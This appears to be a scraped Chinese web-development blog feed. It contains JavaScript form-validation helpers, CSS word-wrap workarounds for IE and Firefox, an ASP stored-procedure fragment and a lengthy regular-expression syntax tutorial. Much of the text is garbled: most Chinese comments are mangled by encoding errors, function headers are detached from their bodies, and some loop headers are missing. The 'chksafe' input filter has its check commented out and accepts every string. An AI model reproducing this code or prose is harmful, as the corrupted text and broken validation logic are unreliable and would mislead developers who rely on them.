??xml version="1.0" encoding="utf-8" standalone="yes"?> function chksafe(a) //函数名:chkspc function chkspc(a) //函数名:chkemail function chkemail(a) for (j=0;j<i;j++) function chkdate(datestr)
}
function jtrim(str) //函数名:fucCheckNUM function fucCheckNUM(NUM) function fucCheckTEL(TEL) //函数名:fucCheckLength function fucCheckLength(strTemp)
]]>
//功能介绍Q检查是否含?'",'\\',"/"
//参数说明Q要查的字符?br />//q回|0Q是 1Q不?/p>
{
return 1;
/* fibdn = new Array ("'" ,"\\", "?, ",", ";", "/");
i=fibdn.length;
j=a.length;
for (ii=0;ii<i;ii++)
{ for (jj=0;jj<j;jj++)
{ temp1=a.charAt(jj);
temp2=fibdn[ii];
if (temp1==temp2)
{ return 0; }
}
}
return 1;
*/
}
//功能介绍Q检查是否含有空?br />//参数说明Q要查的字符?br />//q回|0Q是 1Q不?/p>
{
var i=a.length;
var j = 0;
var k = 0;
while (k<i)
{
if (a.charAt(k) != " ")
j = j+1;
k = k+1;
}
if (j==0)
{
return 0;
}
if (i!=j)
{ return 2; }
else
{
return 1;
}
}
//功能介绍Q检查是否ؓEmail Address
//参数说明Q要查的字符?br />//q回|0Q不是?1Q是
{ var i=a.length;
var temp = a.indexOf('@');
var tempd = a.indexOf('.');
if (temp > 1) {
if ((i-temp) > 3){
if ((i-tempd)>0){
return 1;
}
}
}
return 0;
}//opt1 数 opt2 负数
//当opt2?时检查num是否是负?br />//当opt1?时检查num是否是小?br />//q回1是正的Q?是错误的
function chknbr(num,opt1,opt2)
{
var i=num.length;
var staus;
//staus用于记录.的个?br /> status=0;
if ((opt2!=1) && (num.charAt(0)=='-'))
{
//alert("You have enter a invalid number.");
return 0;
}
//当最后一位ؓ.时出?br /> if (num.charAt(i-1)=='.')
{
//alert("You have enter a invalid number.");
return 0;
}
{
if (num.charAt(j)=='.')
{
status++;
}
if (status>1)
{
//alert("You have enter a invalid number.");
return 0;
}
if (num.charAt(j)<'0' || num.charAt(j)>'9' )
{
if (((opt1==0) || (num.charAt(j)!='.')) && (j!=0))
{
//alert("You have enter a invalid number.");
return 0;
}
}
}
return 1;
}
//函数名:chkdate
//功能介绍Q检查是否ؓ日期
//参数说明Q要查的字符?br />//q回|0Q不是日期?1Q是日期
{
var lthdatestr
if (datestr != "")
lthdatestr= datestr.length ;
else
lthdatestr=0;
var tmpy="";
var tmpm="";
var tmpd="";
//var datestr;
var status;
status=0;
if ( lthdatestr== 0)
return 0
for (i=0;i<lthdatestr;i++)
{ if (datestr.charAt(i)== '-')
{
status++;
}
if (status>2)
{
//alert("Invalid format of date!");
return 0;
}
if ((status==0) && (datestr.charAt(i)!='-'))
{
tmpy=tmpy+datestr.charAt(i)
}
if ((status==1) && (datestr.charAt(i)!='-'))
{
tmpm=tmpm+datestr.charAt(i)
}
if ((status==2) && (datestr.charAt(i)!='-'))
{
tmpd=tmpd+datestr.charAt(i)
}
year=new String (tmpy);
month=new String (tmpm);
day=new String (tmpd)
//tempdate= new String (year+month+day);
//alert(tempdate);
if ((tmpy.length!=4) || (tmpm.length>2) || (tmpd.length>2))
{
//alert("Invalid format of date!");
return 0;
}
if (!((1<=month) && (12>=month) && (31>=day) && (1<=day)) )
{
//alert ("Invalid month or day!");
return 0;
}
if (!((year % 4)==0) && (month==2) && (day==29))
{
//alert ("This is not a leap year!");
return 0;
}
if ((month<=7) && ((month % 2)==0) && (day>=31))
{
//alert ("This month is a small month!");
return 0;
}
if ((month>=8) && ((month % 2)==1) && (day>=31))
{
//alert ("This month is a small month!");
return 0;
}
if ((month==2) && (day==30))
{
//alert("The Febryary never has this day!");
return 0;
}
return 1;
}
//函数名:fucPWDchk
//功能介绍Q检查是否含有非数字或字?br />//参数说明Q要查的字符?br />//q回|0Q含?1Q全部ؓ数字或字?
function fucPWDchk(str)
{
var strSource ="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
var ch;
var i;
var temp;
for (i=0;i<=(str.length-1);i++)
{
ch = str.charAt(i);
temp = strSource.indexOf(ch);
if (temp==-1)
{
return 0;
}
}
if (strSource.indexOf(ch)==-1)
{
return 0;
}
else
{
return 1;
}
}
{ while (str.charAt(0)==" ")
{str=str.substr(1);}
while (str.charAt(str.length-1)==" ")
{str=str.substr(0,str.length-1);}
return(str);
}
//功能介绍Q检查是否ؓ数字
//参数说明Q要查的数字
//q回|1为是数字Q?Z是数?/p>
{
var i,j,strTemp;
strTemp="0123456789";
if ( NUM.length== 0)
return 0
for (i=0;i<NUM.length;i++)
{
j=strTemp.indexOf(NUM.charAt(i));
if (j==-1)
{
//说明有字W不是数?br /> return 0;
}
}
//说明是数?br /> return 1;
}
//函数名:fucCheckTEL
//功能介绍Q检查是否ؓ电话L
//参数说明Q要查的字符?br />//q回|1为是合法Q?Z合法
{
var i,j,strTemp;
strTemp="0123456789-()# ";
for (i=0;i<TEL.length;i++)
{
j=strTemp.indexOf(TEL.charAt(i));
if (j==-1)
{
//说明有字W不合法
return 0;
}
}
//说明合法
return 1;
}
//功能介绍Q检查字W串的长?br />//参数说明Q要查的字符?br />//q回|长度?/p>
{
var i,sum;
sum=0;
for(i=0;i<strTemp.length;i++)
{
if ((strTemp.charCodeAt(i)>=0) && (strTemp.charCodeAt(i)<=255))
sum=sum+1;
else
sum=sum+2;
}
return sum;
}
]]>
对于div
1.QIE览器)white-space:normal; word-break:break-all;q里前者是遵@标准?/p>
#wrap{white-space:normal; width:200px; }
或?br />#wrap{word-break:break-all;width:200px;}
<div id="wrap">ddd1111111111111111111111111111111111</div>
效果Q可以实现换?
2.QFirefox览器)white-space:normal; word-break:break-all;overflow:hidden;同样的FF下也没有很好的实现方法,只能隐藏或者加滚动条,当然不加滚动条效果更好!
#wrap{white-space:normal; width:200px; overflow:auto;}
或?br />#wrap{word-break:break-all;width:200px; overflow:auto; }
<div id="wrap">ddd1111111111111111111111111111111111111111</div>
效果Q容器正常,内容隐藏
对于table
1. (IE览?使用样式table-layout:fixedQ?
<style>
.tb{}{table-layout:fixed}
</style>
<table class="tbl" width="80">
<tr>
<td>abcdefghigklmnopqrstuvwxyz 1234567890
</td>
</tr>
</table>
效果Q可以换?
2.(IE览?使用样式table-layout:fixed与nowrap
<style>
.tb {}{table-layout:fixed}
</style>
<table class="tb" width="80">
<tr>
<td nowrap>abcdefghigklmnopqrstuvwxyz 1234567890
</td>
</tr>
</table>
效果Q可以换?
3. (IE览?在用百分比固定td大小情况下用样式table-layout:fixed与nowrap
<style>
.tb{}{table-layout:fixed}
</style>
<table class="tb" width=80>
<tr>
<td width=25% nowrap>abcdefghigklmnopqrstuvwxyz 1234567890
</td>
<td nowrap>abcdefghigklmnopqrstuvwxyz 1234567890
</td>
</tr>
</table>
效果Q两个td均正常换?
3.(Firefox览?在用百分比固定td大小情况下用样式table-layout:fixed与nowrap,q且使用div
<style>
.tb {}{table-layout:fixed}
.td {}{overflow:hidden;}
</style>
<table class=tb width=80>
<tr>
<td width=25% class=td nowrap>
<div>abcdefghigklmnopqrstuvwxyz 1234567890</div>
</td>
<td class=td nowrap>
<div>abcdefghigklmnopqrstuvwxyz 1234567890</div>
</td>
</tr>
</table>
q里单元格宽度一定要用百分比定义
效果Q正常显C,但不能换行(注:在FF下还没有能容器内容换行的好ҎQ只能用overflow多出的内容隐藏Q以免媄响整体效果)
AddPadd 4
'q行存储q程
comm.Execute
'清空对象
Set comm.ActiveConnection = nothing
Set comm = nothing
Response.Redirect "/success.asp?zho="&server.URLEncode ("d成功Q?)
CloseDB
sub AddPadd(num)
dim i
for i=1 to num
execute "comm.Parameters.Append CommPa"&i
next
end sub
%>
一个正则表辑ּ是由普通字W(例如字符 a ?zQ以及特D字W(UCؓ元字W)l成的文字模式。该模式描述在查找文字主体时待匹配的一个或多个字符丌Ӏ正则表辑ּ作ؓ一个模板,某个字W模式与所搜烦的字W串q行匚w?/p>
q里有一些可能会遇到的正则表辑ּCZQ?/p>
Visual Basic VBscript 匚w
scripting Edition
/^\[ \t]*$/ "^\[ \t]*$" 匚w一个空白行?
/\d{2}-\d{5}/ "\d{2}-\d{5}" 验证一个IDL是否׃?位字Q一
个连字符以及一?位数字组成?/p>
/<(.*)>.*<\/\1>/ "<(.*)>.*<\/\1>" 匚w一?HTML 标记?
下表是元字符及其在正则表辑ּ上下文中的行为的一个完整列表:
字符 描述
\ 下一个字W标Cؓ一个特D字W、或一个原义字W、或一??br />向引用、或一个八q制转义W。例如,'n' 匚w字符 "n"?\n'
匚w一个换行符。序?'\\' 匚w "\" ?"\(" 则匹?"("?
^ 匚w输入字符串的开始位|。如果设|了 RegExp 对象?
Multiline 属性,^ 也匹?'\n' ?'\r' 之后的位|?
$ 匚w输入字符串的l束位置。如果设|了 RegExp 对象?
Multiline 属性,$ 也匹?'\n' ?'\r' 之前的位|?
* 匚w前面的子表达式零ơ或多次。例如,zo* 能匹?"z" 以及
"zoo"?* {h于{0,}?
+ 匚w前面的子表达式一ơ或多次。例如,'zo+' 能匹?"zo" ?br />?"zoo"Q但不能匚w "z"? {h?{1,}?
? 匚w前面的子表达式零ơ或一ơ。例如,"do(es)?" 可以匚w
"do" ?"does" 中的"do" ? {h?{0,1}?
{n} n 是一个非负整数。匹配确定的 n ơ。例如,'o{2}' 不能匚w
"Bob" 中的 'o'Q但是能匚w "food" 中的两个 o?
{n,} n 是一个非负整数。至匹配n ơ。例如,'o{2,}' 不能匚w
"Bob" 中的 'o'Q但能匹?"foooood" 中的所?o?o{1,}'
{h?'o+'?o{0,}' 则等价于 'o*'?
{n,m} m ?n 均ؓ非负整数Q其中n <= m。最匹?n ơ且最多匹
?m ơ。刘Q?"o{1,3}" 匹?"fooooood" 中的前三个o?br />'o{0,1}'{h?o?'。请注意在逗号和两个数之间不能有空?/p>
? 当该字符紧跟在Q何一个其他限制符 (*, +, ?, {n}, {n,},
{n,m}) 后面Ӟ匚w模式是非贪婪的。非贪婪模式可能少?
匚w所搜烦的字W串Q而默认的贪婪模式则尽可能多的匚w所?br />索的字符丌Ӏ例如,对于字符?"oooo"Q?o+?' 匹配单?
"o"Q?'o+' 匹配所?'o'?
. 匚w?"\n" 之外的Q何单个字W。要匚w包括 '\n' 在内的Q
何字W,请用象 '[.\n]' 的模式?
(pattern) 匚wpattern q获取这一匚w。所获取的匹配可以从产生?
Matches 集合得到Q在VBscript 中?SubMatches 集合Q在
Visual Basic scripting Edition 中则使用 $0?9 属性。要
匚w圆括号字W,请?'\(' ?'\)'?/p>
(?:pattern) 匚w pattern 但不获取匚wl果Q也是说这是一个非获取?br />配,不进行存储供以后使用。这在?"? 字符 (|) 来组?br />一个模式的各个部分是很有用。例如, 'industr(?:y|ies) ?br />是一个比 'industry|industries' 更简略的表达式?/p>
(?=pattern) 正向预查Q在M匚w pattern 的字W串开始处匚w查找字符
丌Ӏ这是一个非获取匚wQ也是_该匹配不需要获取供以后
使用。例如,'Windows (?=95|98|NT|2000)' 能匹?Windows
2000"中的"Windows"Q但不能匚w"Windows3 .1"?Windows"?br />预查不消耗字W,也就是说Q在一个匹配发生后Q在最后一ơ匹
配之后立卛_始下一ơ匹配的搜烦Q而不是从包含预查的字W之
后开始?
(?!pattern) 负向预查Q在M不匹配Negative lookahead matches the
search string at any point where a string not matching
pattern 的字W串开始处匚w查找字符丌Ӏ这是一个非获取?br />配,也就是说Q该匚w不需要获取供以后使用。例?Windows
(?!95|98|NT|2000)' 能匹?"Windows 3.1" 中的 "Windows"Q?br />但不能匹?"Windows 2000" 中的 "Windows"。预查不消耗字
W,也就是说Q在一个匹配发生后Q在最后一ơ匹配之后立卛_
始下一ơ匹配的搜烦Q而不是从包含预查的字W之后开?
x|y 匚w x ?y。例如,'z|food' 能匹?"z" ?"food"?(z|f)
ood' 则匹?"zood" ?"food"?
[xyz] 字符集合。匹配所包含的Q意一个字W。例如, '[abc]' 可以
匚w "plain" 中的 'a'?/p>
[^xyz] 负值字W集合。匹配未包含的Q意字W。例如, '[^abc]' 可以
匚w "plain" 中的'p'?
[a-z] 字符范围。匹配指定范围内的Q意字W。例如,'[a-z]' 可以?br />?'a' ?'z' 范围内的L写字母字符?
[^a-z] 负值字W范围。匹配Q何不在指定范围内的Q意字W。例如,
'[^a-z]' 可以匚wM不在 'a' ?'z' 范围内的L字符?/p>
\b 匚w一个单词边界,也就是指单词和空格间的位|。例如,
'er\b' 可以匚w"never" 中的 'er'Q但不能匚w "verb" ?br />?'er'?
\B 匚w非单词边界?er\B' 能匹?"verb" 中的 'er'Q但不能?br />?"never" 中的 'er'?/p>
\cx 匚w由x指明的控制字W。例如, \cM 匚w一?Control-M ?br />回RW?x 的值必Mؓ A-Z ?a-z 之一。否则,?c 视ؓ一
个原义的 'c' 字符?
\d 匚w一个数字字W。等价于 [0-9]?
\D 匚w一个非数字字符。等价于 [^0-9]?
\f 匚w一个换늬。等价于 \x0c ?\cL?
\n 匚w一个换行符。等价于 \x0a ?\cJ?
\r 匚w一个回车符。等价于 \x0d ?\cM?
\s 匚wMI白字符Q包括空根{制表符、换늬{等。等价于
[ \f\n\r\t\v]?
\S 匚wM非空白字W。等价于 [^ \f\n\r\t\v]?
\t 匚w一个制表符。等价于 \x09 ?\cI?
\v 匚w一个垂直制表符。等价于 \x0b ?\cK?
\w 匚w包括下划U的M单词字符。等价于'[A-Za-z0-9_]'?
\W 匚wM非单词字W。等价于 '[^A-Za-z0-9_]'?/p>
\xn 匚w nQ其?n 为十六进制{义倹{十六进制{义值必Mؓ?br />定的两个数字ѝ例如, '\x41' 匚w "A"?\x041' 则等?br />?'\x04' & "1"。正则表辑ּ中可以?ASCII ~码?
\num 匚w numQ其中num是一个正整数。对所获取的匹配的引用?br />例如Q?(.)\1' 匚w两个q箋的相同字W?
\n 标识一个八q制转义值或一个后向引用。如?\n 之前臛_ n
个获取的子表辑ּQ则 n 为后向引用。否则,如果 n 为八q制
数字 (0-7)Q则 n Z个八q制转义倹{?
\nm 标识一个八q制转义值或一个后向引用。如?\nm 之前臛_?br />is preceded by at least nm 个获取得子表辑ּQ则 nm 为后
向引用。如?\nm 之前臛_?n 个获取,?n Z个后跟文
?m 的后向引用。如果前面的条g都不满Q若 n ?m 均ؓ
八进制数?(0-7)Q则 \nm 匹配八q制转义?nm?
\nml 如果 n 为八q制数字 (0-3)Q且 m ?l 均ؓ八进制数?(0-
7)Q则匚w八进制{义?nml?
\un 匚w nQ其?n 是一个用四个十六q制数字表示的Unicode?br />W。例如, \u00A9 匚w版权W号 (?)?
优先权顺?/p>
在构造正则表辑ּ之后Q就可以象数学表辑ּ一h求|也就是说Q可以从左至叛_ƈ按照一个优先权序来求倹{?
下表从最高优先到最低优先列出各种正则表达式操作符的优先权序Q?/p>
操作W?描述
\ 转义W?
(), (?:), (?=), [] 圆括号和Ҏ?
*, +, ?, {n}, {n,}, {n,m} 限定W?
^, $, \anymetacharacter 位置和顺?
| “或”操?
Ҏ字符
有不元字符在试囑֯其进行匹配时需要进行特D的处理。要匚wq些Ҏ字符Q必首先将q些字符转义Q也是在前面用一个反斜杠 (\)。下表给Zq些Ҏ字符及其含义Q?/p>
Ҏ字符 说明
$ 匚w输入字符串的l尾位置。如果设|了 RegExp 对象?Multiline
属性,?$ 也匹?'\n' ?'\r'。要匚w $ 字符本nQ请使用 \$?/p>
( ) 标记一个子表达式的开始和l束位置。子表达式可以获取供以后使用?br />要匹配这些字W,请?\( ?\)?
* 匚w前面的子表达式零ơ或多次。要匚w * 字符Q请使用 \*?
+ 匚w前面的子表达式一ơ或多次。要匚w + 字符Q请使用 \+?
. 匚w除换行符 \n之外的Q何单字符。要匚w .Q请使用 \?
标记一个中括号表达式的开始。要匚w [Q请使用 \[?
? 匚w前面的子表达式零ơ或一ơ,或指明一个非贪婪限定W。要匚w ?
字符Q请使用 \??
\ 下一个字W标Cؓ或特D字W、或原义字符、或后向引用、或八进?br />转义W。例如, 'n' 匚w字符 'n'?\n' 匚w换行W。序?'\\' ?br />?"\"Q?'\(' 则匹?"("?
^ 匚w输入字符串的开始位|,除非在方括号表达式中使用Q此时它表示
不接受该字符集合。要匚w ^ 字符本nQ请使用 \^?
{ 标记限定W表辑ּ的开始。要匚w {Q请使用 \{?
| 指明两项之间的一个选择。要匚w |Q请使用 \|?
非打印字W?/p>
有不很有用的非打印字符Q偶必M用。下表显CZ用来表示q些非打印字W的转义序列Q?/p>
字符 含义
\cx 匚w由x指明的控制字W。例如, \cM 匚w一?Control-M 或回车符?
x 的值必Mؓ A-Z ?a-z 之一。否则,?c 视ؓ一个原义的 'c' ?
W?
\f 匚w一个换늬。等价于 \x0c ?\cL?
\n 匚w一个换行符。等价于 \x0a ?\cJ?
\r 匚w一个回车符。等价于 \x0d ?\cM?
\s 匚wMI白字符Q包括空根{制表符、换늬{等。等价于
[\f\n\r\t\v]?
\S 匚wM非空白字W。等价于 [^ \f\n\r\t\v]?
\t 匚w一个制表符。等价于 \x09 ?\cI?
\v 匚w一个垂直制表符。等价于 \x0b ?\cK?
字符匚w
句点 (.) 匚w一个字W串中Q何单个的打印或非打印字符Q除了换行符 (\n) 之外。下面的 Visual Basic scripting Edition 正则表达式可以匹?'aac'?abc'?acc'?adc'如此{等Q同样也可以匚w 'a1c'?a2c'、a-c'以及 a#c'Q?
/a.c/
{h?VBscript 正则表达式ؓQ?/p>
"a.c"
如果试图匚w一个包含文件名的字W串Q其中句?(.) 是输入字W串的一部分Q则可以在正则表辑ּ中的句点前面加上一个反斜杠 (\) 字符来实现这一要求。D例来_下面?Visual Basic scripting Edition 正则表达式就能匹?'filename.ext'Q?/p>
/filename\.ext/
?VBscript 而言Q等L表达式如下所C:
"filename\.ext"
q些表达式仍然是相当有限的。它们只允许匚wM单字W。很多情况下Q对从列表中匚wҎ字符十分有用。例如,如果输入文字中包含用数字表示为Chapter 1, Chapter 2诸如此类的章节标题,你可能需要找到这些章节标题?
括号表达?/p>
可以在一个方括号 ([ ?]) 中放入一个或多个单字W,来创Z个待匚w的列表。如果字W被攑օ括号中括hQ则该列表称为括可辑ּ。括号内和其他Q何地方一P普通字W代表其本nQ也是_它们匚w输入文字中出现的一处自己。大多数Ҏ字符在位于括可辑ּ中时都将失去其含义。这里有一些例外:
1. ']' 字符如果不是W一,则将l束一个列表。要在列表中匚w ']' 字符Q请其攑֜W一,紧跟在开始的 '[' 后面?/p>
2. '\' 仍然作ؓ转义W。要匚w '\' 字符Q请使用 '\\'?
括号表达式中所包含的字W只匚w该括可辑ּ在正则表辑ּ中所处位|的一个单字符。下面的 Visual Basic scripting Edition 正则表达式可以匹?'Chapter 1'?Chapter 2'?Chapter 3'?Chapter 4' 以及 'Chapter 5'Q?/p>
/Chapter ][12345]/
?VBscript 中要匚w同样的章节标题,请用下面的表达式:
"Chapter [12345]"
h意单?'Chapter' 及后面的I格与括号内的字W的位置关系是固定的。因此,括号表达式只用来指定满紧跟在单?'Chapter' 和一个空g后的单字W位|的字符集合。这里是W九个字W位|?/p>
如果希望使用范围而不是字W本w来表示待匹配的字符Q则可以使用q字W将该范围的开始和l束字符分开。每个字W的字符值将军_其在一个范围内的相寚w序。下面的 Visual Basic scripting Edition 正则表达式包含了一个等价于上面所C的括号列表的范围表辑ּ?/p>
/Chapter [1-5]/
VBScipt 中相同功能的表达式如下所C:
"Chapter [1-5]"
如果以这U方式指定范_则开始和l束值都包括在该范围内。有一点特别需要注意的是,?Unicode 排序中v始g定要在结束g前?/p>
如果惛_括号表达式中包括q字W,则必M用下q方法之一Q?
1. 使用反斜杠将其{义: [\-]
2. 连字符攑֜括号列表的开始和l束位置。下面的表达式能匚w所有的写字母和连字符Q[-a-z]Q[a-z-]
3. 创徏一个范_其中开始字W的值小于连字符Q而结束字W的值等于或大于q字W。下面两个正则表辑ּ都满一要求Q?[!--]Q[!-~]
同样Q通过在列表开始处攄一个插入符(^)Q就可以查找所有不在列表或范围中的字符。如果该插入W出现在列表的其他位|,则匹配其本nQ没有Q何特D含义。下面的 Visual Basic scripting Edition 正则表达式匹配章节号大于 5 的章节标题:
/Chapter [^12345]/
?VBscript 则用:
"Chapter [^12345]"
在上面所C的CZ中,表达式将匚wW九个位|处?, 2, 3, 4, or 5 之外的Q何数字字W。因此, 'Chapter 7' Z个匹配,同样 'Chapter 9' 也是如此?
上面的表辑ּ可以使用q字W?(-) 表示。对 Visual Basic scripting Edition 为:
/Chapter [^1-5]/
或者,?VBscript 为:
"Chapter [^1-5]"
括号表达式的典型用法是指定对M大写或小写字母字W或M数字的匹配。下面的 Visual Basic scripting Edition 表达式给Zq一匚wQ?/p>
/[A-Za-z0-9]/
{h?VBscript 表达式ؓQ?/p>
"[A-Za-z0-9]"
限定W?/p>
有时候不知道要匹配多字W。ؓ了能适应q种不确定性,正则表达式支持限定符的概c这些限定符可以指定正则表达式的一个给定组件必要出现多少ơ才能满_配?/p>
下表l出了各U限定符及其含义的说明:
字符 描述
* 匚w前面的子表达式零ơ或多次。例如,zo* 能匹?"z" 以及 "zoo"?br />* {h于{0,}?
+ 匚w前面的子表达式一ơ或多次。例如,'zo+' 能匹?"zo" ?br />?"zoo"Q但不能匚w "z"? {h?{1,}?
? 匚w前面的子表达式零ơ或一ơ。例如,"do(es)?" 可以匚w "do"
?"does" 中的"do" ? {h?{0,1}?
{n} n 是一个非负整数。匹配确定的 n ơ。例如,'o{2}' 不能匚w "Bob"
中的 'o'Q但是能匚w "food" 中的两个 o?/p>
{n,} n 是一个非负整数。至匹配n ơ。例如,'o{2,}' 不能匚w "Bob" ?
?'o'Q但能匹?"foooood" 中的所?o?o{1,}' {h?'o+'?o
{0,}' 则等价于 'o*'?
{n,m} m ?n 均ؓ非负整数Q其中n <= m。最匹?n ơ且最多匹?m ơ?
刘, "o{1,3}" 匹?"fooooood" 中的前三?o?o{0,1}' {h
?'o?'。请注意在逗号和两个数之间不能有空根{?
对一个很大的输入文档而言Q章节数很轻易就过九章Q因此需要有一U方法来处理两位数或者三位数的章节号。限定符提供了q个功能。下面的Visual Basic scripting Edition 正则表达式可以匹配具有Q何位数的章节标题Q?/p>
/Chapter [1-9][0-9]*/
下面?VBscript 正则表达式执行同L匚wQ?/p>
"Chapter [1-9][0-9]*"
h意限定符出现在范围表辑ּ之后。因此,它将应用于所包含的整个范围表辑ּQ在本例中,只指定了?0 ?9 的数字?/p>
q里没有使用 '+' 限定W,因ؓW二位或后箋位置上ƈ不一定需要一个数字。同样也没有使用 '?' 字符Q因把章节数限制ؓ只有两位数字。在 'Chapter' 和空格字W之后至要匚w一个数字?/p>
如果已知章节数限制只?9 章,则可以用下面的 Visual Basic scripting Edition 表达式来指定臛_有一位数字,但不过两个数字?/p>
/Chapter [0-9]{1,2}/
?VBscript 可以使用下述正则表达式:
"Chapter [0-9]{1,2}"
上述表达式的~点是如果有一个章节号大于 99Q它仍只会匹配前两位数字。另一个缺Ҏ某些人可以创Z?Chapter 0Q而且仍能匚w。一个更好的用来匚w两位数的 Visual Basic scripting Edition 表达式如下:
/Chapter [1-9][0-9]?/
或?/p>
/Chapter [1-9][0-9]{0,1}/
?VBscript 而言Q下q表辑ּ与上面等P
"Chapter [1-9][0-9]?"
或?/p>
"Chapter [1-9][0-9]{0,1}"
'*'?'+'?'?' 限定W都UC婪的Q也是_他们可能多地匹配文字。有时这Ҏ׃是所希望发生的情c有时则正好希望最匹配?
例如Q你可能要搜索一?HTML 文档来查找一处包含在 H1 标记中的章节标题。在文档中该文字可能h如下形式Q?/p>
<H1>Chapter 1 ?Introduction to Regular Expressions</H1>
下面的表辑ּ匚w从开始的于?(<) ?H1 标记l束处的大于号之间的所有内宏V?/p>
/<.*>/
VBscript 的正则表辑ּ为:
"<.*>"
如果所要匹配的是开始的 H1 标记Q则下述非贪婪地表达式就只匹?<H1>?/p>
/<.*?>/
或?/p>
"<.*?>"
通过?'*'?'+' ?'?' 限定W后攄 '?'Q该表达式就从贪婪匹配{Z非贪婪或最匹配?/p>
定位W?/p>
到现在ؓ止,所看到的示例都只考虑查找M地方出现的章节标题。出现的M一个字W串 'Chapter' 后跟一个空格和一个数字可能是一个真正的章节标题Q也可能是对其他章节的交叉引用。由于真正的章节标题L出现在一行的开始,因此需要设计一个方法只查找标题而不查找交叉引用?/p>
定位W提供了q个功能。定位符可以一个正则表辑ּ固定在一行的开始或l束。也可以创徏只在单词内或只在单词的开始或l尾处出现的正则表达式。下表包含了正则表达式及其含义的列表Q?/p>
字符 描述
^ 匚w输入字符串的开始位|。如果设|了RegExp对象?Multiline 属性,
^ 也匹?'\n' ?'\r' 之后的位|?
$ 匚w输入字符串的l束位置。如果设|了RegExp对象?Multiline 属性,
$ 也匹?'\n' ?'\r' 之前的位|?
\b 匚w一个单词边界,也就是指单词和空格间的位|?
\B 匚w非单词边界?
不能对定位符使用限定W。因为在一个换行符或者单词边界的前面或后面不会有q箋多个位置Q因此诸?'^*' 的表辑ּ是不允许的?/p>
要匹配一行文字开始位|的文字Q请在正则表辑ּ的开始处使用 '^' 字符。不要把 '^' 的这个语法与其在括号表达式中的语法弄淗它们的语法Ҏ不同?
要匹配一行文字结束位|的文字Q请在正则表辑ּ的结束处使用 '$' 字符?/p>
要在查找章节标题时用定位符Q下面的 Visual Basic scripting Edition 正则表达式将匚w位于一行的开始处最多有两个数字的章节标题:
/^Chapter [1-9][0-9]{0,1}/
VBscript 中相同功能的正则表达式如下:
"^Chapter [1-9][0-9]{0,1}"
一个真正的章节标题不仅出现在一行的开始,而且q一行中也仅有这一个内容,因此Q它必然也位于一行的l束。下面的表达式确保所指定的匹配只匚w章节而不会匹配交叉引用。它是通过创徏一个只匚w一行文字的开始和l束位置的正则表辑ּ来实现的?/p>
/^Chapter [1-9][0-9]{0,1}$/
?VBscript 则用:
"^Chapter [1-9][0-9]{0,1}$"
匚w单词边界有少怸同,但却l正则表辑ּ增加了一个非帔R要的功能。单词边界就是单词和I格之间的位|。非单词边界是其他M位置。下面的 Visual Basic scripting Edition 表达式将匚w单词 'Chapter' 的前三个字符Q因为它们出现在单词边界后:
/\bCha/
?VBscript 为:
"\bCha"
q里 '\b' 操作W的位置很关键。如果它位于要匹配的字符串的开始,则将查找位于单词开头处的匹配;如果它位于改字符串的末尾Q则查找位于单词l束处的匚w。例如,下面的表辑ּ匹配单?'Chapter' 中的 'ter'Q因为它出现在单词边界之前:
/ter\b/
以及
"ter\b"
下面的表辑ּ匹?'apt'Q因为它位于 'Chapter' 中间Q但不会匚w 'aptitude' 中的'apt'Q?/p>
/\Bapt/
以及
"\Bapt"
q是因ؓ在单?'Chapter' ?'apt' 出现在非单词边界位置Q而在单词 'aptitude' 中位于单词边界位|。非单词边界操作W的位置不重要,因ؓ匚w与一个单词的开头或l尾无关?
选择与编l?/p>
选择允许使用 '|' 字符来在两个或多个候选项中进行选择。通过扩展章节标题的正则表辑ּQ可以将其扩充ؓ不仅仅适用于章节标题的表达式。不q,q可没有惌的那么直接。在使用选择Ӟ匹?|' 字符每边最可能的表辑ּ。你可能认ؓ下面?Visual Basic scripting Edition ?VBscript 表达式将匚w位于一行的开始和l束位置且后跟一个或两个数字?'Chapter' ?'Section'Q?/p>
/^Chapter|Section [1-9][0-9]{0,1}$/
"^Chapter|Section [1-9][0-9]{0,1}$"
不幸的是Q真正的情况是上面所C的正则表达式要么匹配位于一行开始处的单?'Chapter'Q要么匹配一行结束处的后跟Q何数字的 'Section'。如果输入字W串?'Chapter 22'Q上面的表达式将只匹配单?'Chapter'。如果输入字W串?'Section 22'Q则该表辑ּ匹?'Section 22'。但q种l果不是我们此处的目的,因此必须有一U办法来使正则表辑ּ对于所要做的更易于响应Q而且实也有q种Ҏ?/p>
可以使用圆括h限制选择的范_也就是说明确该选择只适用于这两个单词 'Chapter' ?'Section'。不q,圆括号同样也是难处理的,因ؓ它们也用来创建子表达式,有些内容在后面关于子表辑ּ的部分介l。通过采用上面所C的正则表达式ƈ在适当位置d圆括P可以该正则表辑ּ既可以匹?'Chapter 1'Q也可以匚w 'Section 3'?
下面的正则表辑ּ使用圆括号将 'Chapter' ?'Section' l成一l,所以该表达式才能正工作。对 Visual Basic scripting Edition 为:
/^(Chapter|Section) [1-9][0-9]{0,1}$/
?VBscript 为:
"^(Chapter|Section) [1-9][0-9]{0,1}$"
q些表达式工作正,只是产生了一个有的副品。在 'Chapter|Section' 两边攄圆括号徏立了适当的编l,但也D两个待匹配单词之一都被捕获供今后用。由于在上面所C的表达式中只有一l圆括号Q因此只能有一个捕L submatch。可以?VBscript 的Submatches 集合或者Visual Basic scripting Edition 中RegExp 对象?$1-$9 属性来引用q个子匹配?/p>
有时捕获一个子匚w是所希望的,有时则是不希望的。在说明所C的CZ中,真正惛_的就是用圆括号对单?'Chapter' ?'Section' 之间的选择~组。ƈ不希望在后面再引用该匚w。实际上Q除非真的是需要捕获子匚wQ否则请不要使用。由于不需要花旉和内存来存储那些子匹配,q种正则表达式的效率更高?/p>
可以在正则表辑ּ模式圆括号内部的前面使用 '?:'来防止存储该匚w供今后用。对上面所C正则表辑ּ的下qCҎ供了免除子匹配存储的相同功能。对 Visual Basic scripting EditionQ?/p>
/^(?:Chapter|Section) [1-9][0-9]{0,1}$/
?VBscriptQ?/p>
"^(?:Chapter|Section) [1-9][0-9]{0,1}$"
除了 '?:' 元字W,q有两个非捕获元字符用于UC为预查的匚w。一个ؓ正向预查Q用 ?= 表示Q?在Q何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字W串。一个ؓ负向预查Q用 '?!' 表示Q在M开始不匚w该正则表辑ּ模式的位|来匚w搜烦字符丌Ӏ?/p>
